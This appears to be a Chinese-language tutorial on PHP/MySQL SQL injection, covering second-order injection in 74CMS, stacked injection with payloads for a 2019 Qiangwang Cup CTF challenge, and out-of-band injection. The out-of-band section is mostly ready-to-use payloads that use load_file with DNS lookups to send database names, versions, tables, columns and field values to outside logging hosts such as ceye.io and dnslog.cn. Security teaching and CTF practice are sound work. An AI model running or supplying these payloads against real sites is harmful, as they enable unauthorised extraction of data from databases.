目录
PHP-MYSQL-二次注入-DEMO&74CMS
DEMO-用户注册登录修改密码
CMS-74CMS个人中心简历功能
PHP-MYSQL-堆叠注入-DEMO&CTF强网
Demo
2019强网杯-随便注(CTF题型)
PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)
知识点:
1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件
以下漏洞在实战中是很难碰到的
PHP-MYSQL-二次注入-DEMO&74CMS
黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多
白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来)
1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
DEMO-用户注册登录修改密码
CMS-74CMS个人中心简历功能
PHP-MYSQL-堆叠注入-DEMO&CTF强网
Demo
堆叠注入触发的条件很苛刻:因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行
在数据库中这样执行是没有问题的,但是如果在实战中,都是通过网站插入注入语句,那么这个时候就得看这个网站当前的脚本支不支持多语句查询,也就是有没有使用mysqli_multi_query函数(该函数支持多SQL语句查询)
产生条件:支持堆叠数据库:MYSQL MSSQL Postgresql等
- 目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤
- 目标数据库类型支不支持多SQL语句执行
2019强网杯-随便注(CTF题型)
';show databases;
';show tables;
';show columns from 1919810931114514
;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)
注入条件:
- root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数)
- windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义
有部分注入点是没有回显的,所以读取也是没回显的,就得采用带外注入
使用平台:http://ceye.io
ping test.dbuh8a.ceye.io //test是随便改的,后面是固定的
ping %USERNAME%.dbuh8a.ceye.io //%USERNAME%获取本地计算机用户名的
带外应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等
数据库里执行:
select load_file(concat(‘\\’,(select database()),‘.7logee.dnslog.cn\aa’)); //aa随便输入的
SQL注入:
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) //abc随便输入的
// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))
//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""
//查询版本号
id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))
//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
//查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名